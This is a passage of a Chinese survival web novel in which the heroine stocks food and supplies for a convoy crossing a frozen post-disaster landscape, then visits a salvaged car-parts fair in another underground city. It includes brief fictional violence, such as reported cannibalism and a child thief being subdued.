吃完饭之后，秦小薇进了空间，空间前段时间又升了一级，还解锁了造纸厂，造纸厂可以利用之前解锁的松树生产超大卷的纸巾。 纸巾这种东西，家家户户都需要，但因为原材料的限制，超市里限购得很厉害，逼得普通人用纸都变得抠搜起来。 还有人仿照古人，用上了竹片、木片做的厕筹，上完厕所后，先用厕筹刮一刮，再用卫生纸擦…… 秦小薇自己是接受不了那种反复使用的木片和竹片的，光是上手清洗，她就觉得脏。 空间里开始生产纸巾之后，她拿了不少之前囤积的纸巾去健身房，让员工们实现“纸巾自由”。 工坊生产的纸巾是没有外包装的，一份有五卷，一卷一斤，和酒店用的那种超大卷厕纸很像，不过质量要好很多，非常耐用。 为此，秦小薇还收了几个壁挂式卷纸盒，贴在家里各处。 等之前囤积的纸巾用完了，她也能把工坊生产的纸拿出去用，毕竟这纸除了纸质好一点，它和酒店里用的那种大卷厕纸简直一模一样！ 秦小薇还计划，等搜寻物资的队伍回来了，她还可以放一些到健身房当会员福利，卖给办了月卡、年卡、买了课的会员，到时候就说是用物资和其他队伍换的。 毕竟女孩子每个月那几天，还挺费纸的…… 除此之外，这几个月，农场也出了几个活动，除了金币，她空间里又添了两栋装饰的房子和一辆大巴车。 不过她平时基本上不睡空间里，她一个人也开不了那么多辆车，这些“装饰物”，也只能起个装饰作用。 陆昼和车队成员约的是后天，一共会来四个人，加上陆昼和她自己，就是六个人，每个人饭量都不小。 受到上次江明月婚宴的启发，秦小薇在同城APP上找了个上门做饭的大厨，提前准备好食材和调味料，让师傅上门做饭。 她找的师傅之前是宁市某知名酒店的主厨，据说还拿过奖，但因为天灾，餐饮店纷纷倒闭，这位主厨也失业了。 光是看他切菜的架势，就知道他手艺很不错。 秦小薇给钱大方，不仅包饭，还答应另外给一些食材当报酬，师傅干活的时候也上心，掐着点把饭菜给做好了，陆昼一行人一过来，就开始上菜。 刚出锅的菜还冒着热气，看起来十分美味。 四喜丸子、可乐鸡翅、鱼香肉丝、番茄土豆炖肉…… 车队成员个个人高马大，且都是肉食动物，又许久没吃到这么丰盛的饭菜，饭菜上上来之后，几人简单地寒暄了几句，就开始埋头苦吃。 等吃了个七八分饱，才放慢速度，和秦小薇聊天。 就像陆昼之前说的那样，因为秦小薇好饭好菜招待着，这几人问啥说啥，没有半点隐瞒。 “睡袋要带厚的，一个人最好能准备两个，晚上睡觉实在是太冷了！” “像是高度酒这种东西也能准备一点，喝一口身体就暖了……队里有女的？那你收点能量棒呗！就那种齁甜齁甜的，你在地下城待着，可能觉得太甜了吃不下去，但在野外吃，那可太合适了！” “队伍里最好要有懂修车的！还得带些替换的零件……要是实在找不到人，到时候就得找其他队的人帮忙，不过得给物资，价格嘛……你懂的！贵得很！不划算！” “……” 聊完了准备物资的事，几人喝了点啤酒，又说起了这一路的见闻。 “哎，妹子，你不去是对的，外面太冷了，你一个小姑娘肯定受不了！我们这些人要不是要养家，又找不到工作，也不愿意跑这一趟！” “就说我们刚上高速公路那会儿，高速路上有一段路是炸了山之后修的，高速路两边都是山，我们过去的时候，山上的积雪全都滑了下来，直接把路给堵了，铲雪车都拿那些雪没办法！” “但就只有这条道好走一些，咱们能怎么办？只能大家伙一起下来，拿着铲子铁锹人力挖一条路出来……那路挖通之后，后面有一辆车路过的时候，不知道是发动机声音太大还是怎么的，又把山上的积雪给震下来了，当场就把人和车给活埋了！” “还好当时有军队在边上指挥，咱们人又多，手上又有工具，及时把人给救回来了！” “刚开始碰到这事儿的时候，我晚上都没睡好，还寻思着要不回去吧！反正也才出来不久……咱们出来是挣钱的，可不能把命丢在外面了！但想想家里欠的债，还是咬牙坚持下去了……” “后面次数多了，再碰到大雪封路这事，我们都不当回事儿了，拿着工具，下车就是干！” “还有一次，前面有辆车的防滑链坏了，刚好又是下坡，司机控制不住车速，那车就直接往前面车的车屁股上撞！地上都是雪，特别滑，前面的车被这么一撞，也控制不住了，也往前面撞……” “还好因为扫雪车的速度慢，军队又再三要求，不能开快，最后只撞坏了几辆车！要不然就造成连环事故了，还不知道要死多少人呢……” “……” 听着几人的讲述，秦小薇似乎也跟着他们经历了这一路的艰难险阻。 她还从他们口中得知，外面有些城市，因为食物不够，竟然开始杀人吃肉！还有那丧心病狂的，试图把人肉当成猪肉卖给他们，换取他们车上的物资。 好在及时被队伍里的医生发现了不对…… 车队有军队镇着场子，碰到了卖人肉的，自然不能让他们逍遥法外，继续祸害同胞，军队顺藤摸瓜，抓了一长串人，当场就把他们击毙了。 据说，当地有一个广场，都被血给染红了…… 因为秦小薇准备的饭菜实在是丰盛，吃饭的时候又能和他们聊到一起，几人性格都十分豪爽，一顿饭过后，他们就开始和秦小薇称兄道弟。 临走之前，队长还拍着胸脯保证，他们两支队伍可以一起出发，路上要是遇到了麻烦，肖琳琳可以随时过去找他们帮忙。 送走了几人后，秦小薇给做饭的师傅结清了工资，客厅里就空了，她撸起袖子，准备收拾桌上的碗盘。 她特地多准备了一些饭菜，但这几人的饭量实在是大，最后只剩下了一些汤汁。 陆昼还没离开，见此，也过来帮忙。 秦小薇：“碗盘不用洗，扔洗碗机里就可以了。” 陆昼：“知道了。” 第122章 第122章出发（双更合一）…… 家里有扫地机、洗地机、洗碗机,师傅走之前还把厨房打扫干净了，厨具都归位了，因此饭后“打扫战场”的活并不麻烦,把碗筷扔进洗碗机里,再把桌上的垃圾收拾了,就差不多了…… 等收拾完了，两人直接进了空间,准备车队外出需要的物资。 秦小薇按照几位队员给的清单,把需要的东西都找出来，按照不同的类别放在卡车的后车厢里。 秦小薇：“熟食好像不太够？陆昼,你要不要抓几笼鸡？弄点鸡肉丸子、卤鸡腿、卤鸡翅什么的让他们带上……” 陆昼：“我准备了半头猪。” 秦小薇：“路上那么冷，猪肉冻硬之后，都不一定能剁开,只准备生猪,也太为难他们了……” 他们在野外，连觉都睡不好，路上还会碰到很多危险,总不能让人家连一口热乎的肉都吃不上！ 陆昼看了眼牲畜棚里的鸡鸭，想了想,还是点了点头。 收拾完东西之后,陆昼又帮秦小薇把空间里的几辆卡车分批从外面开了回来，还剩了一辆装物资的大卡车，秦小薇打算等出发前再拿出来。 忙活了大半天之后,秦小薇手上的冻疮又开始痒了，见事情办得差不多了，她直接回了健身房，待在开了暖气的屋里不再出门…… 下午的时候,她见范槿又在群里摸鱼聊天，便直接给她打了个电话。 秦小薇：“饭饭，阿姨前几天来找我了，说想跟着队伍一起出去……你先别拒绝，等我把话说完……下周二官方的车队会沿着之前的路再跑一趟，把之前没运回来的物资运回来，这趟没什么危险，大概半个月就能跑个来回。” “我想着，要不让阿姨跟着队伍跑一趟，看看阿姨能不能坚持，不行的话，下趟我就找别人；行的话，下趟就让她当副队长……” 她说完之后，电话那头的人沉默了一会，才问她：“薇薇，你之前不是说让我妈当队长吗？” 秦小薇：“……”她的关注点是不是有点偏？ 秦小薇：“现在琳琳是队长，要不你让阿姨努努力，打败琳琳上位？” 说到后面，她声音里全是笑意，明显是在开玩笑。 范槿：“……” 范槿：“我和我爸商量一下吧！晚点给你回电话！” 事实证明，范妈妈在家里说一不二这么多年，就算现在失业了，余威依旧在，晚上，她就给秦小薇回了电话，说要跟着队伍出去。 之后几天，秦小薇也没闲着，肖琳琳的辞职报告终于批了，她带着大包小包的行李，重新搬回了红浦区。 她之前的床位已经被分给其他人了，肖琳琳原本是想在健身房的办公室里将就几天的。 但秦小薇觉得，肖琳琳都辞了有编制的工作来帮她了，总不能让她连个住的地方都没有。 她请了个有门路的邻居吃了顿饭，送了对方一点礼物，对方就帮她解决了住房的问题，给肖琳琳弄了个和段霞一样的单身公寓。 公租房那边的床位对其他两座地下城的人来说可能很难申请到，但对她的这些邻居来说，也就是抬抬手的事…… 秦小薇帮她把东西搬进新家的时候，肖琳琳特别兴奋。 肖琳琳：“薇薇，我就说，跟着你干肯定有前途！阿霞立了那么多功，上面才给她升级单人间，没想到我刚辞职，就有一个完全属于自己的房间了……” “啊啊啊啊我太兴奋了！现在好想出去跑圈！” 她拉着秦小薇的手，激动地又蹦又跳，她那模样，让秦小薇莫名联想到了朔月，它有时候在空间里玩嗨了，也像她这样，一直围着她蹦蹦跳跳…… 秦小薇等她兴奋了一会，才把人按下来：“行了，别激动了，我还有任务交给你呢！” “你说！”肖琳琳站直了身体。 秦小薇从背包里拿出一把射钉枪，又从里面拿出几十盒配套的钉子：“这是改装过的射钉枪，你找个靶子，练练准头……外面的世界可比地下城危险多了，听说队伍之前还碰到把人肉当猪肉卖的‘人肉贩子’，你出去以后可不能放松警惕！” 肖琳琳：“放心吧！我在巡逻队和监狱里干了这么久，什么人没见过？肯定给你把队伍好好带回来……” 她所有的注意力都放在射钉枪上：“薇薇，这改装过的射钉枪射程怎么样？我要是在墙上挂个靶子，不会把墙打穿了吧？这枪你找谁买的？上面不是不准私自改装这种危险武器吗？红浦区还有人敢顶风作案？” 顶风作案的秦小薇：“……” 秦小薇：“既然知道不合法，你出去的时候就把射钉枪藏好了！不到危险的时候，尽量别用……” 她挑了几个问题回答，又让肖琳琳好好练准头，就回家了，她在网上约的做饭师傅快要到了！ 车队一共招了十个人，人数不多，但路上十几天，这些人的口粮加在一起也不少。 自己动手要花不少时间，她便找了之前做饭的师傅，让他上门把鸡收拾了。 反正她现在也不缺钱！能花点“手工费”解决大家的吃喝问题，秦小薇觉得很划算…… 知道这次要处理几十只鸡，师傅上门的时候，还带了个帮手。 师傅从笼子里捉了只鸡出来，仔细检查了一遍：“哟！老板，你这是走地□□？看着比市场上卖的那些好多了！” 这些鸡虽然养在棚子里，但白天机器人会放它们出来，吃得也是正经的粮食蔬菜，鸡毛看着都比外面卖的鸡油亮！ 秦小薇随便糊弄过去了：“不知道，是人家送过来的……师傅，您看，这鸡怎么做？这是要让车队带着路上吃的，最好方便加热……” 秦小薇说着，还给他看了自己给肖琳琳他们准备的锅灶。 外面的温度太低，煤气罐气化困难，根本没办法用，所以秦小薇准备的是户外烧木柴的炉子、木头和煤炭，炉子还带个长长的烟管。 停车后，还能放在卡车的后车厢里用，拆卸也很方便，搬上就能走。 农场里之前解锁了松树，她也不用担心木材不够烧。 师傅只以为富人区这边供应的东西和外面的超市不一样，闻言也没有多问什么。 毕竟天灾之前，市场上鸡的品质也参差不齐，他们这些有钱人，多花点钱买到好东西也很正常…… 他想了会，知道秦小薇家有真空包装机和包装袋之后，决定把这几十只鸡做成方便加热的“预制菜”，吃的时候连袋子和雪扔到锅里慢慢加热就行了。 这位大厨的手艺实在是不错，一下午的时间，弄出了一堆卤鸡腿、酸辣鸡杂、爆炒鸡杂、葱油鸡、鸡肉丸子…… 为了加热的时候增加接触面积，减少加热的时间，每包真空袋装的东西都不多，因此袋子的数量也格外多，堆在一起，看起来十分壮观。 除了肉食，师傅还用鸡骨头搞了一堆鸡汤，装在塑料瓶里，加热后就能直接喝。 干完了活之后，师傅和两个帮厨把厨房收拾得干干净净，还把秦小薇不要的鸡屁股、鸡毛、熬完汤的鸡骨架打包带走了。 师傅的手艺非常不错，今天还一连搞了十几道菜，秦小薇原本是打算把这些吃的都给肖琳琳她们的，但菜色实在是太丰富了，她没忍住，就扣了一部分下来。 她这边准备了很多东西，陆昼那边也不遑多让，不过他没在网上找人，那半头猪是家里的佣人保镖帮着处理…… 接下来几天秦小薇也没有闲着，找人拉关系跑车队的名额、招了个修车的师傅、安排肖琳琳和队员们见面磨合、交代众人路上的注意事项……每天都忙得脚不沾地。 好在健身房那边的工作不需要她操心，秦小薇不至于分身乏术。 连着忙活了好几天之后，时间终于到了出发的前一天，秦小薇出去了一趟，把那辆装着物资的大卡车开了回来，她把车钥匙交给肖琳琳，带着肖琳琳钻进后车厢里，和她说了每样物资的位置。 秦小薇：“药在这个箱子里，感冒药、拉肚子药之类的常用药都有；这里面是睡袋，你之后给大家分了，一人两个；木柴我多准备了一些，肯定够你们用了……” “汽油我没准备，这个军队会免费提供，还会有油罐车随行，你到时候直接去领就行了！” 肖琳琳担心自己记不住，还拿了个笔记本，记了下来。 秦小薇：“……琳琳，你们路上可就靠这些物资活着了，这辆车你们可得保护好了！” 肖琳琳拍着胸脯保证道：“放心吧！我晚上就在这睡了，肯定不让人偷了咱们的物资！” 秦小薇：“那倒也不用，我和停车场的工作人员打了招呼，他们会帮忙看着车的……停车场很冷，你晚上还是回家里睡吧！明天就要出发了，得养好精神。” 肖琳琳摇头：“这么多物资，我不看着不放心！放心吧，薇薇，地下停车场比地面暖和多了，还有睡袋呢，冷不 着我！” 见秦小薇还要再劝，她继续说道：“明天就要出发了，我早晚得适应外面的低温……” 见她坚持要留下，秦小薇只能独自回家。 第二天早上，他们出发的时候秦小薇还去送了他们，只是车队太长了，车队里都是便于运输的卡车，她并没有找到肖琳琳他们，只能目送车队离开。 秦小薇给肖琳琳准备了暖宝宝和热水袋，让他们给手机“加热”开机，至少每天都要在群里报一次平安。 车队其实并没有跑很远，也就横跨了两个省，放在暴雪之前，就算开汽车，一天也能到，要是坐动车高铁，也就几个小时的事。 但现在路上积雪太严重了，再加上开路的扫雪车速度太慢，上一趟，车队才花了好几个月来回…… 因为这条路前不久才走过一遍，路上的一些危险因素也被处理过了，所以他们这一路，除了时不时要停下来扫雪，并没有遇到什么危险。 因为秦小薇给他们准备了很多不同口味的预制菜，队伍里的人吃得比其他人好很多，有了对比，就有了幸福感，就算每天都在冰天雪地的环境中赶路，也没挡住肖琳琳在群里分享美食的热情！ 【肖琳琳：今天中午吃了酸辣鸡杂，酸酸辣辣的，吃完整个人都热乎了，汤汁蘸面包也好吃！】 【肖琳琳：[图片][图片][图片]】 【肖琳琳：顿顿都有肉吃，这日子也太幸福了！】 【范槿：琳琳，你太过分了！天天一到饭点就放毒！】 【范槿：猫猫挥拳.jpg】 【范槿：薇薇，你怎么给她们准备了这么多肉？】 【秦小薇：外面太冷了，要多吃点好的补补……】 【范槿：琳琳，我妈今天怎么样？】 【肖琳琳：好着呢！阿姨上午还跟着司机学车呢！】 【肖琳琳：[图片]】 之后半个月，秦小薇又恢复了之前的规律生活。 因为之前那位师傅做的预制菜，她这半个月，除了煮狗饭，厨房都没怎么开火。 秦小薇尝到了不用自己做饭的甜头，她还在同城APP上找了另一个厨师上门做饭，不过这位厨师有点特殊，她之前是一位宠物博主，专门做宠物吃播，她家宠物吃的零食、狗饭都是她亲手做的。 因为她还会教粉丝做狗饭、狗零食，吸引了不少粉丝关注，在网上也算是小有名气。 不过天灾之后，就没有商家再找她打广告了，平台的创作激励也没了，她没了收入来源，好在她之前存了不少钱，靠着在同城APP上收的高价能量饼干，也磕磕绊绊地把狗给养活了。 知道秦小薇找了个上门做狗饭、狗零食的厨师，陆昼也牵着拉布拉多过来了，还说要蹭她请的厨师。 秦小薇有些无语：“……你还缺这点钱？你再下一单，让她明天再跑一趟不就行了！” 陆昼：“我先让香肠试试菜，它喜欢我再下单。” 秦小薇：“香肠那只大馋狗，它有不喜欢吃的东西吗？给它一包能量饼干，它都能啃得咔咔响……” 陆昼：“……” 那位“大厨”叫贺甜，知道陆昼是带拉布拉多过来“试菜”的，贺甜准备狗饭和零食的时候，格外的认真。 每份狗饭都做了精致的摆盘，食物也是分批放下去的，和秦小薇平时一锅出的“豪迈”完全不一样，每份狗饭和零食外面还标注了日期…… 可能是因为知道贺甜是在给它们煮狗饭、准备小零食，下午，两只狗一直守在厨房门口盯着贺甜做饭。 贺甜：“你家狗好乖啊！这么馋了都没过来要吃的……” 秦小薇骄傲道：“我家朔月在警犬基地上过学，不吃陌生人给的东西。” 贺甜：“这么厉害？那只拉布拉多呢！也上过学吗？” 秦小薇应了一声：“之前没下暴雪的时候，它一直跟着别的警犬在外面巡逻！” 贺甜：“它还有工作？真好……” 就着宠物的话题，两人聊得非常开心，贺甜离开之前，还和秦小薇交换了联系方式，还说秦小薇如果有邻居需要人上门给宠物做饭，一定要推荐她…… 连着经历了这么多场天灾，公租房那边就算有人养狗，大多喂的也是能量饼干、土豆大米，偶尔喂点蔬菜、狗粮，就算是非常奢侈了。 像秦小薇和陆昼这样，一次拿出几十斤新鲜的食物给宠物做饭、做零食，那是打着灯笼也找不到…… 但富人区这边，路上还能看到不少人遛狗，贺甜觉得，自己要是想工作赚钱，还得依靠这些有钱人。 送走了贺甜之后，秦小薇看向还坐在自家沙发上的男人，忍不住提醒他：“你已经在我家坐了一上午了，再待下去，你家里人就该来找你了……” 陆昼收起手机：“你还知道我坐这呢？我还以为我是透明人呢！” 秦小薇皱眉：“阴阳怪气什么？赶紧回家！我要吃中饭了……” 陆昼：“……” 原本还趴在地毯上的香肠闻言立刻钻到茶几底下去了。 显然，之前的小零食它还没吃够，它想留下来蹭秦小薇的中饭。 秦小薇提着香肠的后脖颈，把它从茶几下面薅了出来，又打包了一袋狗零食，让香肠叼着，就强行把一人一狗送出门了。 陆昼：“……” 半个多月后，肖琳琳他们跟着车队平安回来了，秦小薇给他们准备了很多热水袋，不管是白天晚上，他们衣服里都捂着好几个热水袋，等休整吃饭的时候，就重新换水。 所以这趟，并没有人冻出什么问题。 不过，其中一人有点小肚鸡肠，经常因为吃饭的时候少吃一口、多吃一口的事和队友吵架，秦小薇从肖琳琳那知道这事后，便直接换掉了他。 反正这趟的目的也是让队员们磨合，把不合适的人换掉，下一趟才能顺利…… 这趟，他们明面上是帮官方运货，但实际上，每个车队都捞到了不少好东西，秦小薇按照之前谈好的比例，拿了一部分物资出来，让队员们分了。 剩下的，她拿了一小部分到健身房，让员工们改善生活，还有一部分，则收进了空间里，对外就说那些东西被她拿去和其他队伍交换物资…… 这两趟车队搬回来了不少能量饼干，因为有了“额外”的食物，超市里能量饼干的供应也变得充足起来，限购又变成了每人每天一包能量饼干，但菜量的供应却没有缩减。 地下城还新开了好几家工厂，相比于之前，红浦区似乎正变得越来越好…… 虽然有风雪的阻拦，江安区和南湖区那边的人 过不来，但网络是相通的，这段时间，同城APP上到处都是和车队相关的帖子，还有些性格张扬爱炫耀的，专门开帖炫耀，自己弄到了多少多少物资…… 出去一趟虽然很辛苦，但跑这一趟，就足够他们过上一两年的“好日子”了。 投资回报比非常高！ 再加上其他两座地下城并没有增加多少工作岗位，找工作依旧困难重重，众人都十分眼馋，非常想加入车队。 没有车子也不怕，前两年暴雨的时候，不是还有很多泡水的车没处理吗？都堆在郊外呢！ 他们把车子挖出来，找个懂技术的拼拼凑凑，弄出来的车子，加了油以后勉强也能开，就是故障率有点高，跑个几公里就得修一下…… 还有人实在是弄不到车，就打起了自行车、三轮车的主意，打算把它们改装一下，到时候跟在大部队的屁股后面，就算吃不到肉，也能喝点汤。 因此市政第二次在民间招募车队的时候，虽然市政没有向另外两座地下城开放招募名额，但那边的人依旧通过各种各样的途径把自己加塞进了红浦区的队伍，不少人都报上了名。 秦小薇知道有人打算骑着自行车、三轮车跨越好几个省，出去收集物资的时候，都快惊呆了。 外面零下三四十度，她出去的时候穿得那么厚，身上还贴了暖宝宝，在外面待几个小时，手脚都能冻僵，这些人竟然还想骑着自行车、三轮车在野外风餐露宿好几个月？ 腿不要了吗？ 还是这些人在地下城关傻了，对外面的情况没有清晰地认知。 好在市政的工作人员审核十分严格，对于某些试图滥竽充数的队伍，第一轮就直接筛掉了…… 秦小薇的队伍因为之前就跑过一趟了，再加上队伍里的车很新，她准备的物资也足够多，很轻松就通过了筛选，拿到了号码牌。 虽然他们上一趟收获很多，但队伍现在还没出发，大家都不确定路上能找到多少东西，要是车队本身准备的物资不够，路上要是遇到了什么突发事件，就得军队为他们兜底，这对军队来说，也是个负担。 所以市政的工作人员筛选队伍的时候，会优先选择那些物资充足的队伍。 至于他们上一趟找到的物资，车队还没运完，市政会另外安排车队，来往于两地，稳定向地下城输送物资…… 第123章 第123章南湖区（双更合一）…… 这次外出的时间比上次更久,要准备的物资也更多，上次她准备的食物队员们都说好吃，她便又找了上次那位大厨,让他帮忙处理了一堆鸡鸭鹅和兔子。 这次要处理的东西比较多,就算大厨手脚很快,他和几个帮厨也忙活了好几天才把所有的食材都处理好。 可能是因为前两趟弄到了不少物资，某些小车队,除了拿着官方批的条子去超市买能量饼干,还有人通过自己的人脉联系了种植区那边，把这几天要送去超市售卖的肉类、蔬菜给截胡了。 煮熟后用袋子装着,打算留着路上慢慢吃。 不少人都在公租房里种了菜，超市的菜买不到了，他们还能吃自家的,但肉就不行了,市政有规定，不能在公租房里养殖家禽家畜。 超市无肉可买，一时之间,同城APP上肉类的价格飙升。 因为肖琳琳他们小队上次准备的东西加热以后味道特别香，还有人辗转联系上了秦小薇,要买她给队员准备的预制菜…… 一下子要准备上千份料理包,秦小薇还担心时间不够，师傅忙不过来，自然全都拒绝了。 好在之前已经跑过一趟了,像是睡袋、锅碗之类的物资不用再重复准备，这一次，秦小薇倒是不像上次那么忙碌，她只出去转了一圈,弄了一大车柴火回来。 剩下的事，她都可以交给做饭的师傅和帮厨了，她自己当甩手掌柜。 一连忙了好几天，车队终于再次出发了。 车队出发后不久，肖琳琳的消息就接连弹了出来。 【肖琳琳：妈耶，真的有人骑着改装过的自行车和三轮车就跟了上来！】 【肖琳琳：太勇了！他们真的太勇了！】 【段霞：他们疯了吧？不怕冻成冰棍吗？】 【段霞：军队没赶他们回来吗？】 【肖琳琳：赶了，都鸣枪示警了，但有些人头铁，就是不走，非要跟着……】 【肖琳琳：唉，随他们去吧，好言难劝该死鬼！他们太贪心了……】 这天下午，秦小薇从健身房下班回家的时候，看到陆昼拿着车钥匙，正准备出门。 秦小薇和他打了个招呼：“这么晚还要出去？” 陆昼：“南湖区那边有个展会，我去淘点东西，要不要一起？” 秦小薇：？？？ 秦小薇：“什么展会？” 她有点兴趣，在她的印象中，展会这种地方，一般会有很多商品，价格也都不贵…… 陆昼：“之前不是有人把那些泡水车从积雪里挖出来拆了重新组装吗？外面温度太低，车子容易出故障，但有些精细零件，地下城也没有条件生产……” “上面开了会，觉得可以把那些废旧车辆利用起来，把里面还能用的零件轮胎什么的拆下来，给车队当备用物资……车队后面估计会一直在外面跑，需要准备不少备用零件。” “江安区和南湖区闲散人员比较多，他们已经拆了很多东西下来了，你要不要去看看？” 秦小薇忍不住皱眉：“那些车在外面风吹日晒一两年了吧？拆下来的零件还能用吗？车队都走了，现在搞零件展，有人会去买吗？” 陆昼：“放心吧！拆下来的零件有专人检查，不合格的根本进不了展会……就是因为车队已经出发了，现在过去，才能淘到好东西。等那些人把展会犁一遍，留下来的就只有垃圾了！” 秦小薇觉得陆昼说得似乎有点道理，但是……现在出门，是不是太晚了点？外面天都黑了！ 秦小薇：“要不明天再去吧？雪天路滑，天黑开车不安全，现在这个点，地下城都熄灯了，展会应该已经收摊了。” 陆昼：“没事，外面雪停了，我们跟在扫雪车后面，不会出事的……我们在那边住一晚，明天早上起来，刚好去逛展会，这事儿宜早不宜晚，咱们尽量抢在第一批。” 见他把所有的事都考虑到了，秦小薇没了拒绝的理由，她想了想，点头答应了他的邀请。 秦小薇：“你等我一会，我把电动车停到院子里！” 停好电动车之后，秦小薇给德牧换了件更加厚实的背心，自己也换了件厚外套，才牵着狗出门。 可能是因为陆昼提前打了招呼，他们出去的时候，大路上竟然有一辆扫雪车在等他们，见他们乘坐的越野车跟了上来，扫雪车才缓缓启动。 出了地下城之后，就没有路灯了，不过前面的扫雪车开着大灯，他们跟在后面，也能看清路…… 一个小时后，他们终于到了南湖区，这还是秦小薇第一次来这座地下城。 因为上次在江安区的经历，秦小薇已经做好了今天晚上“吃苦”的准备。 但陆昼把车开进了一条专用通道，停车后，直接带着她和朔月刷卡坐电梯去了地下城。 秦小薇站在电梯里，忍不住四处打量着：“不是说这边没有电梯吗？” 陆昼：“只是普通人出入没有电梯。” 秦小薇：“……” 出了电梯，往前走一百来米，就是市政的办公点，可能是因为这片区域人员并不密集，所以空气中的异味不太明显。 秦小薇松了口气，她的鼻子今天不用遭罪了！ 陆昼带着她，绕过办公大楼，直接去了边上的一栋五层小楼。 进去之后，秦小薇才知道，这里竟然还有招待所！ 陆昼出示了自己的证件后，工作人员给他们办了入住，不过秦小薇没有工作证，按规定，他们只能开一间房，好在是间双床房，一人一张床 ，也能将就一晚。 办理入住的时候，秦小薇还有点担心，朔月会被拒之门外，不过工作人员只让他们多付了两百的清理费，就让他们进去了。 这家招待所住了不少人，房间的隔音不太好，两人找房间的时候，还能听到走廊两边各个房间传出的说话声…… 招待所的条件还不错，一次性洗漱用品齐全，还有独立浴室，床单被套看起来也很干净，墙上没有明显的裂痕，和江安区那些危房根本不是一个画风。 房间的面积不是很大，放了两张单人床之后，就只剩三条呈“F”型的狭窄过道。 不过外面还有很多人连地下城都进不来呢，今晚能有这样的住宿条件，秦小薇已经非常满意了。 屋里很暖和，脱了外套后，秦小薇直接在床上坐下了。 她问陆昼：“我看走廊上的房间都快住满了，你们经常来这边出差吗？” 陆昼：“我们部门在这边没有业务，几乎不来这边，有几个部门倒是经常过来，他们要是晚上回不去了，就会在这边将就一晚，这个招待所就是专门给他们建的，有工作证就能免费住……” 秦小薇：“那这个福利还挺好的！” 陆昼：“既然有条件，当然是优先照顾自己人。” 秦小薇还没吃饭，见德牧用爪子扒拉自己的裤腿要吃的，她便拿出一份狗饭，让它在浴室里吃晚饭——房间里的空间太小了，它待在屋里只能蜷着身体。 安顿好德牧，她自己也拿了份便当出来，坐在床边，一口口吃了起来。 陆昼来之前就吃过了，他靠在床头，打开笔记本，开始处理公务。 见他一连忙了两个多小时才收起电脑，秦小薇忍不住问他：“你们预警中心这么忙吗？这么晚还要加班？” 陆昼解释道：“刚收到车队那边传回来的资料，资料要整理好上传到资料库里……我每天也就这个时候要干点活。” 秦小薇想到之前他帮自己拆安全屋的时候，连着往外面跑了十来天，并没有怀疑他的话，只要宁市没什么突发状况，预警中心的工作其实还挺清闲的！ 距离车队离开，已经过去五天了，肖琳琳每天都会在群里报平安，秦小薇对车队的情况，也有个大概的了解。 他们已经沿着之前清出来的路离开Q省了，现在正在隔壁省打探情况，但因为大雪封路，他们的行程并不顺利，每天有三分之二的时间都在扫雪清路…… 秦小薇趴在床上，玩了会自己新淘来的游戏机，就准备睡了。 德牧想要洗爪子上床，秦小薇给它拿了个狗窝，让它睡浴室里：“朔月，你今天睡浴室，不准上床！” 虽然多交了清洁费，但她并不想给保洁阿姨添太多麻烦。 德牧哼哼唧唧，有点不开心，叼着自己的苹果抱枕，用屁股对着她，秦小薇给它切了半个大苹果，才把它哄好。 投喂完苹果，秦小薇伸手点着它的脑袋：“你是不是故意装生气，骗吃骗喝？” 德牧用脑袋蹭她的手，装作听不懂的样子…… 一夜好眠。 第二天早上，秦小薇没吃空间里的存货，她和陆昼去了招待所的餐厅，吃了免费的早饭。 餐厅里可供选择的食物并不多，只有蔬菜沙拉、蘑菇汤、炒杂菌和土豆大米炒饭四样。 蔬菜沙拉的酱汁是用醋和酱油调的，味道很奇怪，蘑菇汤和炒杂菌味道还不错，秦小薇夹了不少。 吃完早饭，秦小薇把狗拴在前台，让工作人员帮忙看着，才和陆昼一起去展会。 离开市政的办公区域后，街上的人渐渐多了起来，不少路段都被大大小小的帐篷占着，倾斜、开裂的房子随处可见，空气中的味道也愈发难闻。 和她上次从红浦区离开时的情景差不多，一路上，他们碰到了好几拨试图和他们推销的人，等到了展会，这种情况才好一些。 秦小薇忍不住皱眉：“怎么这边也有这么多推销的？” 陆昼：“咱们穿得太干净了，一看就是肥羊。” 秦小薇没懂他的意思：“什么？” 陆昼：“这边热水很贵，有些人为了省钱，从入住地下城开始就没进过澡堂……在这边，身上能保持干净的都是有钱人。” 秦小薇：“……那也太脏了！” 就算天冷，这边暖气也不是很足，身上也会有皮屑什么的，半年多不洗澡……身上的黑泥能搓下来下面条了吧？ 看着周围的行人，她顿时觉得浑身不舒服，他们这么久不洗澡，身上不会长虱子吧？ 秦小薇再次庆幸，自己住在红浦区，周围的人都能实现“热水自由”。 展会在一家工厂的内部举办，可能是因为之前车队提交申请的时候，市政的工作人员把其他两个区的车队都筛出去了，这边大部分普通人又没有用车的需求，所以南湖区这边来逛展会的人并不多。 这些二手零件，是市政组织人手拆卸、清理的，去干活的人没有工资，但每天可以领到两包能量饼干。 给的报酬不多，但这活却有很多人抢着干。 展会上售卖零件的也是市政安排的工作人员，这边不收钱，只接受以物易物，交易得到的物资，会作为大家的工资发放下去。 秦小薇不知道这点，所以来的时候，只准备了一个背包，里面并没有多少物资。 好在对方表示，可以把东西送到红浦区，□□。 食物、衣物、燃料……只要是普通人能用得上的，他们都收。 可能是因为南湖区这边几乎没有肉类供应，肉类兑换零件的比例简直高得离谱，有些零件，好几包能量饼干才能换一个，但秦小薇随便拿个大猪腿出来，就能把三分之一个摊子包圆…… 明明两座地下城都在宁市，受同一批人管理，但这物价差距，却让秦小薇有种她身处不同国家的感觉。 秦小薇忍不住小声和陆昼吐槽：“这里的肉也太值钱了！” 陆昼侧头看着她，小声道：“药更值钱！像是有些已经停产的救命药，一瓶就能换好几个金戒指……” 秦小薇：“这也太夸张了！” 前段时间，帮着车队准备物资，秦小薇对于什么零件能用上，大概心里有数，再加上陆昼不仅会开车，还会修车，两人很快就选了一大堆东西，并和工作人员约定好了送货上门的时间。 因为陆昼出示了自己的工作证，工作人员连押金都没要，似乎一点都不担心他们跑单。 秦小薇：“我发现你的工作证在这还挺管用的，之前是住免费的旅店，现在又能……” 她的话还没说完，就见陆昼冲了出去，他把一个小孩按倒在地，然后从他手里，强行抠出自己的手机。 小孩穿得脏兮兮，棉衣还破了洞，露出里面已经脏成了黑灰色的夹棉，脸上全是皲裂的冻疮，头发乱糟糟的，秦小薇一时有些分不清他是男是女。 “放开我！”小孩在陆昼手下剧烈挣扎着，还想张嘴咬陆昼的手腕。 陆昼一点都不手软，“咔擦”两声，就把小孩的下巴给卸了，又三两下把他的胳膊给捆了起来。 之后，他就提着小孩的衣领，折回了展会，把他交给展会的保安。 